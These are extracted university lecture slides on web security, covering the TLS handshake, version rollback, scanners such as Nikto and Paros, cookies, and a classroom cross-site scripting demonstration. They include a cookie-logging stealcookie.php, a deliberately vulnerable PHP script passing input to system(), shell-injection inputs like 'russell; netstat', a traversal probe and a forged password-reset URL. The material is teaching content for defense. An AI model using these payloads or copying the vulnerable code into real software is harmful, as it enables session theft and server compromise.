Web Security

Sreekanth Malladi
Modifying slides originally prepared by Vitaly Shmatikov, UT Austin
World Wide Web - Review

◆ How was it established?
◆ Can anyone start a web site?
  • process to own a web site?
◆ What are strings http and www?
◆ http and https – the difference?
◆ Popular web servers?
◆ Web applications – client and server side scripting. Difference?
SSL/TLS is used for https

- Usually using function call SecureServerSocket (instead of simple ServerSocket)

Transport Layer Security protocol, version 1.0

- De facto standard for Internet security
- “The primary goal of the TLS protocol is to provide privacy and data integrity between two communicating applications”
- In practice, used to protect information transmitted between browsers and Web servers

Based on Secure Sockets Layers protocol, version 3.0

- Same protocol design, different algorithms

Deployed in nearly every Web browser
SSL / TLS in the Real World

Wells Fargo Account Summary - Microsoft Internet Explorer

Account Summary

<table>
<thead>
<tr>
<th>Wells Fargo Accounts</th>
<th>OneLook Accounts</th>
</tr>
</thead>
</table>

Tip: Select an account's balance to access the Account History.

Cash Accounts

<table>
<thead>
<tr>
<th>Account</th>
<th>Account Number</th>
<th>Available Balance</th>
</tr>
</thead>
<tbody>
<tr>
<td>Checking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Add Bill Pay</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

To end your session, be sure to Sign Off.

11/18/2008
TLS is an Application-Layer Protocol

Protects against application-level threats (server impersonation, eavesdropping), **NOT** against TCP/IP threats (spoofing, SYN flood, DDoS)
History of the Protocol

◆ SSL 1.0
  • Internal Netscape design, early 1994?
  • Lost in the mists of time

◆ SSL 2.0
  • Published by Netscape, November 1994
  • Several weaknesses

◆ SSL 3.0
  • Designed by Netscape and Paul Kocher, November 1996

◆ TLS 1.0
  • Internet standard based on SSL 3.0, January 1999
  • Not interoperable with SSL 3.0

11/18/2008 - TLS uses HMAC instead of MAC; can run on any port
Evolution of the SSL/TLS RFC

- SSL 2.0
- SSL 3.0
- TLS 1.0

Page count
TLS Basics

◆ TLS consists of two protocols
  • Familiar pattern for key exchange protocols

◆ Handshake protocol
  • Use public-key cryptography to establish a shared secret key between the client and the server

◆ Record protocol
  • Use the secret key established in the handshake protocol to protect communication between the client and the server

◆ We will focus on the handshake protocol
TLS Handshake Protocol

- Two parties: client and server
- Negotiate version of the protocol and the set of cryptographic algorithms to be used
  - Interoperability between different implementations of the protocol
- Authenticate client and server (optional)
  - Use digital certificates to learn each other’s public keys and verify each other’s identity
- Use public keys to establish a shared secret
Handshake Protocol Structure

ClientHello → ServerHello, [Certificate], [ServerKeyExchange], [CertificateRequest], ServerHelloDone

[Certificate], ClientKeyExchange, [CertificateVerify]

switch to negotiated cipher

Finished

Record of all sent and received handshake messages

switch to negotiated cipher

Finished
ClientHello

ClientHello

Client announces (in plaintext):
• Protocol version he is running
• Cryptographic algorithms he supports
ClientHello (RFC)

```c
struct {
    ProtocolVersion client_version;
    Random random;
    SessionID session_id;
    CipherSuite cipher_suites;
    CompressionMethod compression_methods;
} ClientHello
```

- **ProtocolVersion** client_version: Highest version of the protocol supported by the client.
- **Random** random: Session id (if the client wants to resume an old session).
- **SessionID** session_id: Set of cryptographic algorithms supported by the client (e.g., RSA or Diffie-Hellman).
ServerHello

Server responds (in plaintext) with:
- Highest protocol version supported by both client and server
- Strongest cryptographic suite selected from those offered by the client
ServerKeyExchange

C, Version\textsubscript{c}, suite\textsubscript{c}, N\textsubscript{c}

Version\textsubscript{s}, suite\textsubscript{s}, N\textsubscript{s},
ServerKeyExchange

Server sends his public-key certificate containing either his RSA, or his Diffie-Hellman public key (depending on chosen crypto suite)
ClientKeyExchange

C, $\text{Version}_C$, $\text{suite}_C$, $N_C$

Version$_S$, $\text{suite}_S$, $N_S$,
$\text{sig}_{ca}(S,K_S)$,
“ServerHelloDone”

Client generates some secret key material and sends it to the server encrypted with the server’s public key (if using RSA)
ClientKeyExchange (RFC)

struct {
    select (KeyExchangeAlgorithm) {
        case rsa: EncryptedPreMasterSecret;
        case diffie_hellman: ClientDiffieHellmanPublic;
    } exchange_keys
} ClientKeyExchange

struct {
    ProtocolVersion client_version;
    opaque random[46];
} PreMasterSecret

Random bits from which symmetric keys will be derived (by hashing them with nonces)
“Core” SSL 3.0 Handshake

C: Version\textsubscript{C}=3.0, suite\textsubscript{C}, N\textsubscript{C}

S: Version\textsubscript{S}=3.0, suite\textsubscript{S}, N\textsubscript{S}, sig\textsubscript{ca}(S,K\textsubscript{S}), “ServerHelloDone”

\{Secret\textsubscript{C}\}_K\textsubscript{S}

If the protocol is correct, C and S share some secret key material (secret\textsubscript{C}) at this point

switch to key derived from secret\textsubscript{C}  switch to key derived from secret\textsubscript{C}
Version Rollback Attack

C, Version\(_c\) = 2.0, suite\(_c\), N\(_c\)

Server is fooled into thinking he is communicating with a client who supports only SSL 2.0

Version\(_s\) = 2.0, suite\(_s\), N\(_s\), sig\(_{ca}\)(S,K\(_s\)), “ServerHelloDone”

\{Secret\(_c\)\}_{K_s}

C and S end up communicating using SSL 2.0 (weaker earlier version of the protocol that does not include “Finished” messages)
Version Check in SSL 3.0

C, Version\(_C\) = 3.0, suite\(_C\), N\(_C\)

Version\(_S\) = 3.0, suite\(_S\), N\(_S\), sig\(_{ca}(S,K_S)\),
“ServerHelloDone”

“If the protocol is correct, C and S share
some secret key material secret\(_C\) at this point

switch to key derived
from secret\(_C\)  

check that received version is equal to the version in ClientHello

\{Version\(_C\), Secret\(_C\)\}\_K_S

switch to key derived
from secret\(_C\)
SSL/TLS Record Protection

Use symmetric keys established in handshake protocol
Web Servers

◆ Quiz:
  • What is a web server?
  • What are the different types available?
  • How is it configured?
  • What ports do they normally use?
  • What security features and protocols do web servers use?
  • What kinds of attacks are possible?

◆ Not sure about the answers?
  • Well, attend the class 😊
Web Server Security

◆ Two issues for web security
  • Web server testing
  • Web application Testing

◆ Web server should be configured for
  • Secure network configuration
    - E.g. Firewall limiting incoming traffic to ports 80 and 443.
  • Secure host configuration
    - OS has up-to-date security patches
  • Secure web server configuration
    - Default settings reviewed, sample files removed and server runs in a restricted account
Vulnerability Scanners

◆ Web vulnerability scanners have two components
  • Scanning engine
  • Catalog
  • Scanning engine runs vulnerability tests in Catalog on web server
    - E.g. presence of backup files, trying directory traversal exploits (checking for ..%255c..%255c).

◆ Nikto
  • Descendant of Whisker by RFP
  • Adds a Perl-based scanning library
  • Not a solo tool
  • Offers support for SSL, proxies, port scanning
  • Runs on Unix, Windows and Mac OS X.
  • Use will be demonstrated in class
Nikto options

- **-host**: Specify a single host
- **-port**: Specify an arbitrary port.
- **-ssl**: Enable SSL support.
- **-Format**: Format output in HTML, CSV or text
- **-output**: Log output to a file
  - E.g. `output nikto80_website.html -F htm`
- **-id**: Provide HTTP Basic authentication credentials.
  - E.g. `-id username::password`
- **-update**: Causes program to contact [http://www.cirt.net](http://www.cirt.net) and update Nikto
- And many more!!
Continued…

◆ Excessive 500 response cookies (server error)
  • Means server application has errors OR
  • Attacker is submitting invalid parameters

◆ Sensitive filenames
  • Search for requests that contain passwd, cmd.exe etc

◆ Examine parameters
  • Make sure requests within a 200 response are logged as well

◆ Examine directory traversal attacks

◆ Long Strings as parameters
  • Letter ‘A’ repeated 200 times indicates attempts to break applications

◆ Boils down to using common sense basically
Sleuth

- Browser inside tool. Wow!
- Only Windows version

- Among several options,
  - Option to chain through another web proxy
  - Achilles lacks this

- Toolbox menu has great functionality
  - Removes scripts that disable input validation routines
  - Shows hidden fields
    - Revealing session, server and client variables
  - Generate report function
    - Lists cookies, links, query strings, Form information, script references, META tags
Welcome to Dakota State University

You'll be amazed at the power of a Dakota State education – from the learning power on campus, a direct result of our integrated use of technology, to the learning power in your chosen profession after graduation.

Here are a few facts about DSU...
- over 2300 students on campus
- student to faculty ratio is 16 to 1
- 96% overall placement
- campus wide wireless network

DSU's Farrell Presents at National Conference
DSU Card Present at Post-Day

Browser inside the tool!
Paros

◆ New Heavy weight in the local proxy arena

◆ A Java based tool
  • Freely available online (www.paroxproxy.org)

◆ Not just a proxy
  • Lot of additional features, usability, testing techniques, enhancements

◆ Set browser proxy to HTTP proxy to 8080 and HTTPS proxy for port 8443

◆ Instruct it to scan (not automatic)

◆ Ability to rewrite and insert arbitrary characters into HTTP GET and POST requests is awesome
Web Authentication

Cookies
Need an authentication system over HTTP that does not require servers to store the session data

- Well, why not?
- Because, servers can be subject to overwhelming of data (DOS attacks)
  - Remember the SYN flooding attack?
- Storing unknown data is a potential risk
- Servers such as hotmail can have huge number of connections
- Becomes unmanageable to store session data for all the connections at all times
- Where are cookies stored on the computer and browser?
- How to view them? Restrain? Delete?
Cookies on clients instead

◆ Servers use cookies to store state on client
  • When session starts, browser computes an authenticator, calls it a “cookie” and sends it to the client-browser
  • The authenticator (or cookie) is some value that client can not forge on her own
  • E.g. Hash( Server’s private key, session-id )
◆ With each request, browser presents the cookie to the server
  • Server recomputes the value and compares it to the cookie received
Example session using cookies

client

- POST /login.cgi
- Set-Cookie: authenticator

server

- Verify that this client is authorized
- Check validity of authenticator (e.g., recompute hash(key, sessId))

GET /restricted.html
Cookie: authenticator

Restricted content

Authenticator is both unforgeable and tamper-proof
Cookie stealing using cross scripting (XSS attacks)

Access some web page


Forces victim's browser to call hello.cgi on naive.com with script instead of name

GET/ hello.cgi?name=

Hello, dear
Welcome!</HTML>

Interpreted as Javascript by victim's browser; opens window and calls steal.cgi on evil.com
Example: XSS attack

◆ Let’s use four files
  1. setgetcookie.htm
  2. malURL.htm – malicious URLs
  3. redirectpage.htm
  4. stealcookie.php
The attack process

1. User first opens setgetcookie.htm on vulnerable site
2. Sets cookie
3. Attacker sends malURL.htm to user with malicious URLs in it
   1. Clicking on them redirects user to redirectpage.htm
   2. redirectpage.htm has script embedded in a html tag
   3. Script inputs the document’s cookie to stealcookie.php on attacker’s site
   4. Stealcookie.php logs the cookie on attacker’s site
Step 1

- Attacker visits setgetcookie.htm
- Sets cookie
- View cookie
- See next two slides
This is an innocent web page that lets a user set a cookie for the session and also to view the cookie.

Welcome back Russell

Set cookie

Show cookie

Submit Username
This is an innocent web page that lets a user set a cookie for the session and also to view the cookie.

Welcome back Russell.

Submit Username
Step 2

- Visits malURL.htm
- malURL.htm has two links
  - Both are malicious
  - Say something, and take somewhere else

- See next slide...
his page has malicious links

1. First look at this one. This link's text and the actual link behind it are different. You can notice that by hovering the mouse on the link and noting the actual referral location on the status bar.
   Video footage of Steve Irwine's death available on CNN

2. Now look at this one. Hovering and noting status window won't work on this one because form events write fake link to status window as well!! Hackers grow smarter with security education!
   Video footage of Steve Irwine's death available on CNN
Step 3

◆ Clicking on link 2 in malURL.htm
◆ Takes user to redirectpage.htm
  • Because link 2 has script embedded to redirect
  • To stealcookie.php on attacker’s site
  • Also sets input as a cookie to stealcookie.php

◆ Notice the next slide
  • It was captured as page was redirecting to stealcookie.php
This page is a PHP script that steals a cookie.
Step 4

- Final step
- `stealcookie.php` logs user cookie
- Cookie was a HTTP parameter sent to `stealcookie.php` using GET method

- User views the cookie on his site…
$ ls
bg.txt process.php setgetcookie.htm
alURL.htm redirectpage.htm stealcookie.php
$ cat log.txt

issell
$
An important note

- Our example is sort of trivial
- All the files setgetcookie.htm, malURL.htm, redirect.htm, stealcookie.php exist on the same site
- We were playing vulnerable site, attacker site on the same remote machine
- If we replaced input cookie in redirectpage.htm to some other site, attack won’t work
  - It will for older browsers; but newer browsers are aware of XSS
  - Send cookie only if request is from same site
Useful and real XSS attacks

A more useful and real XSS attack would be to send in malURL.htm the following:

How is that different?

The new link forces user’s browser to first visit vulnerable site (thoth.dsunix.net)

Then uses process.php functionality

- which is to print out whatever is passed in “username” GET variable
- Pass script to change document’s location to stealcookie.php on attacker’s site and also passing cookie for vulnerable site
 Doesn’t work any more

◆ But this doesn’t work on modern browsers
◆ Modern browsers do not relocate to new sites
  • Filter out script from links
  • Probably browser developers got smarter after XSS attacks
◆ If browsers didn’t prevent it, how would we prevent XSS attacks?
  • Proper input validation before processing
  • Perennial problem in software security
  • So-called “Buffer overflows” – attacks of the century – suffer from the same input range checking problem
Source code follows

We give the source code in subsequent slides for

• setgetcookie.htm
• process.php
• malURL.htm
• redirectpage.htm
• stealcookie.php
This is an innocent web page that lets a user set a cookie for the session and also to view the cookie.

```javascript
function setCookie()
{
    document.cookie = document.cookieform.username.value;
}

function showCookie()
{
    alert("Cookie -- " + document.cookie);
}

function submitName()
{
```
document.write("Your name is "+
document.cookieform.username.value);
}
//-->
</script>

<body>
<form action="process.php" name="cookieform" method="GET">
<script type="text/javascript" language="JavaScript"> <!--
document.write('Welcome back ' + document.cookie);
//-->
</script>
<p>
<input type="text" name="username" value="Enter your name"> 
</p>
<p>
<input type="button" value="Set cookie"
onclick="setCookie();"/>
</p>

<p>
<input type="button" value="Show cookie"
onclick="showCookie();"/>
</p>

<p>
<input type="submit" name="submitBtn" value="Submit Username">
</p>
</form>
</body>
</html>
<?php

    $uname = $_GET['username'];
    $greeting = "Hello ". $uname;
    system("echo $greeting");

?>
This page has malicious links

First look at this one. This link's text and the actual link behind it are different. You can notice that by hovering the mouse on the link and noting the actual referral location on the status bar.

Video footage of Steve Irwine's death available on CNN
<li>
Now look at this one. Hovering and noting status window won't work on this one because form events write fake link to status window as well!! Hackers grow smarter with security education! <br />

<a href='./redirectpage.htm'onMouseOver="window.status='http://www.cnn.com/2006/breakingnews/06/10/steveirwine.wmv';return true"
    onMouseOut="window.status='';return true">Video footage of Steve Irwine's death available on CNN</a>

</li>
</ol>
</body>
</html>
stealcookie.php

<html>
<head>
<h3>This page is a php script that steals a cookie</h3>
</head>
<body>
<?php
    $f = fopen("log.txt","a");
    $cookie = "\n".$_GET["username"]."\n";
    fwrite($f, $cookie);
    fclose($f);
?>
</body>
</html>
Other scripting attacks

Does this conclude scripting attacks?
  • No. Take a close look at process.php

It prints whatever user enters in the username field

Attacker can predict might be using system() and echo command
  • Tries username followed by semi-colon and a system command
  • E.g. russell; netstat
  • If that works, attacker gets full shell access!!
his is an innocent web page that lets a user set a cookie for the session and also to view the cookie

Welcome back russell

set; netstat

set cookie

Show cookie

Submit Username
Hello Russell Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State
0 0 thoth:59929 isis:834 TIME_WAIT tcp 0 0 thoth:59928 isis:834 TIME_WAIT tcp 0 0 thoth:59931 isis:834 ME_WAIT tcp 0 0 thoth:59930 isis:834 TIME_WAIT tcp 0 0 thoth:59933 isis:834 TIME_WAIT tcp 0 0 thoth:59932 isis:834 TIME_WAIT tcp 0 0 thoth:59935 isis:834 TIME_WAIT tcp 0 0 thoth:59934 isis:834 ME_WAIT tcp 0 0 thoth:33519 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33518 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33517 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33516 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33515 isis:sunrpc ME_WAIT tcp 0 0 thoth:33522 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33521 isis:sunrpc TIME_WAIT tcp 0 0 thoth:33520 isis:sunrpc TIME_WAIT tcp 0 0 thoth:192.168.10.229:2048 ESTABLISHED tcp 0 203 thoth:dsunix.net:ftp 192.168.10.229:2048 ESTABLISHED tcp 0 203 thoth:dsunix.net:http siouxfallsDHC-206.216.3043 ESTABLISHED tcp 0 0 thoth:dsunix.net:ssh siouxfallsDHC-16.216.2994 ESTABLISHED Active UNIX domain sockets (w/o servers) Proto RefCnt Flags Type State I-Node th unix 13 [ ] DGRAM 6157 /dev/log unix 2 [ ] DGRAM 3487 @udevd unix 3 [ ] STREAM CONNECTED 00750 unix 3 [ ] STREAM CONNECTED 6200749 unix 3 [ ] STREAM CONNECTED 6004513 unix 3 [ ] STREAM CONNECTED 6004512 unix 2 [ ] DGRAM 47330 unix 2 [ ] DGRAM 47328 unix 2 [ ] DGRAM 28524 ix 2 [ ] DGRAM 28522 unix 2 [ ] DGRAM 7040 unix 2 [ ] DGRAM 6962 unix 2 [ ] DGRAM 6879 unix 2 [ ] DGRAM 6801 unix 2 [ ] DGRAM 6760 unix 2 [ ] DGRAM 6234 unix 2 [ ] DGRAM 6165
Scripting attacks continued…

◆ Did that work?
◆ Let’s try similar example
  • [http://thoth.dsunix.net/~dsuprotanals/teaching/F06/754/test/script-attacks/sample.htm](http://thoth.dsunix.net/~dsuprotanals/teaching/F06/754/test/script-attacks/sample.htm)
  • Next slide
Sample web page that has a php script behind it to illustrate web application vulnerabilities

Choose if you want to learn about Roses or Lotuses by typing in roses.htm or lotus.htm

Sorry, we cant information on Lilies.
Notice how entering `roses.htm; ls` in the text box prints the directory listing of the current directory.
This is a poor web script, test.php

A page about roses

script-attacks XSS
Attacker uses this facility to find banklnfo.htm in confidential folder
Sample web page that has a php script behind it to illustrate web application vulnerabilities

Choose if you want to learn about Roses or Lotuses by typing in roses.htm or lotus.htm

Sorry, we cant information on Lilies.
This is a poor web script, test.php

A page about roses

inkInfo.htm
Sample web page that has a php script behind it to illustrate web application vulnerabilities

Choose if you want to learn about Roses or Lotuses by typing in roses.htm or lotus.htm

Sorry, we can't information on Lilies.
This is a poor web script, test.php

A page about roses

If you can see this, the web site is pretty much entirely screwed up!!

I have $1,000,000 in my bank account. I am so happy because NO ONE can know this. Yay!!
Single Sign-On Systems

◆ **Idea:** Authenticate once, use everywhere

◆ Similar to Kerberos

◆ Trusted third party issues identity credentials

◆ User uses them to access services all over the World Wide Web.
User

Sign on once

Receive Web identity

Access any network service

.NET Passport

Stores personal information (e.g. credit card numbers)

Email

Web retailers

Messenger
Identity management with .NET passport

1. Log in

2. Redirect browser to Passport server

3. Email and password?

4. joe@hotmail.com, “kiwifruit”

5. Check user against database

6. 3 encrypted cookies

7. Redirect browser back to website

User

Website

Passport manager

Passport user database

Requested page

Decrypt & verify cookies

Offering:

Passport

.NET Passport

. NET
.NET Passport: Some early flaws

- **Reset password procedure** flawed
  - Didn’t require old password to reset
  - Send a forged URL requesting reset
  - Passport sends you URL to change password
    - http://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com

- **Cross-scripting** attack
  - Cookies stored in Microsoft wallet stay there for 15 minutes
  - Victim signs in to Passport first, logs into Hotmail, and reads attacker’s email
  - Hotmail’s web interface processes it, calls script on attacker’s site and hands over cookie
.NET Passport’s history

◆ First launched in 1999
  • By 2002, MS claimed over 200 million accounts, and 3.5 billion authentications each month

◆ Current status (as of March 2005)
  • Monster.com dropped support in October ’04
  • Followed by Ebay (Jan ’05)
  • Few apart from Microsoft’s own departments (e.g. MSN) seem to support
Liberty Alliance

- Seems there are open-standard alternatives to Passport

- Go to http://www.projectliberty.org

- Verisign, AOL, intel, NOKIA and other big companies are a part
Conclusion

◆ We’ve covered every aspect of web security
  • Tested several tools

◆ Be *very* careful before trying these out anywhere else
  • Don’t want the FBI or CIA to knock on your door for a vulnerability scan on their partner web server
  • Looking at prison time

◆ Final note: any one trying illegal/improper hacking will be doing at their own risk
References

◆ Figures and concepts on SSI/TLS by
  • W. Stallings and V. Shmatikov
  • Reproduced by permission

◆ Web Security Tools
  • Anti-Hacker Tool Kit, McGrawHill, 2005

◆ Thanks to DSUnix Sys admins and Dean Dr. Halverson for granting permission for to use their Linux boxes for demonstrating Web Tools.
References

Cookies and XSS attacks

• Cross Site Scripting Explained, amit Klein, Sanctum Security Group, 2002

• The anatomy of Cross Site scripting, Gavin Zuchlinski, November 5, 2003